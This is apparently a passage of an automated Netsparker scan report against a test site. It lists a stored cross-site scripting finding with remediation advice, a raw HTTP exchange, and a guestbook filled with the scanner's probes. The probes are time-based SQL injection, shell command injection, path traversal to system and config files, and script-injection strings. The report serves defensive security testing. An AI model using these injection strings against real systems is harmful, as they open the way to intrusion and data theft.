\r\n 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n \"&ping -c 25 127.0.0.1 &\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n ((select sleep(25)))a-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DBA

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DB9

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n &expr 268409241 - 2 &\r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n '&expr 268409241 - 2 &'\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \"&expr 268409241 - 2 &\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

[ns](javascript:netsparker(0x003D91);)

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n 1)) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x003D8D)+'

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x003D8B);

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x003D89)

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

ping -c 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x003D87),'

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -c 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n 1) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:34 AM\r\n

\r\n

\r\n WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:34 AM\r\n

\r\n

\r\n 1 WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

\\';netsparker(0x003D85);///

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c%3a%5cboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -c 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file%3a%2fboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&ping -c 25 127.0.0.1 &'

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&ping -c 25 127.0.0.1 &\"

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n & SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+netsparker(0x003D83)+\"

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c:\\boot.ini

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/boot.ini

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n '& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:06:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \"& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

'+netsparker(0x003D81)+'

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

*/netsparker(0x003D7F);/*

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

\"& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t
12
\r\n
\r\n\r\n\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Injection URL","Value":"http://testsparker.com/administrator/trace.axd/%22ns=%22netsparker(0x002A8D)"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified stored cross-site scripting, and confirmed this vulnerability by analyzing the execution of injected JavaScript.

Stored XSS allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly, to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser.

\"Stored\" means that the attack will be stored in the backend system. In normal XSS attacks, an attacker needs to e-mail the victim, but in a stored XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

","Impact":"
Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User's session-sensitive information, such as cookies, can be stolen.
  • XSS can enable client-side worms, which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include the OWASP Reform and Microsoft Anti cross-site scripting libraries.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/GuestbookList.aspx?hTTp://r87.com/n","Type":"PermanentXss","Name":"Stored Cross-site Scripting","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /GuestbookList.aspx?hTTp://r87.com/n HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"Query Based","Type":"FullQueryString","Value":"hTTp://r87.com/n","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":2653.4032,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 813495\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:09:37 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n
\r\n\r\n\t\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Last Comments

\r\n\r\n
\r\n\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t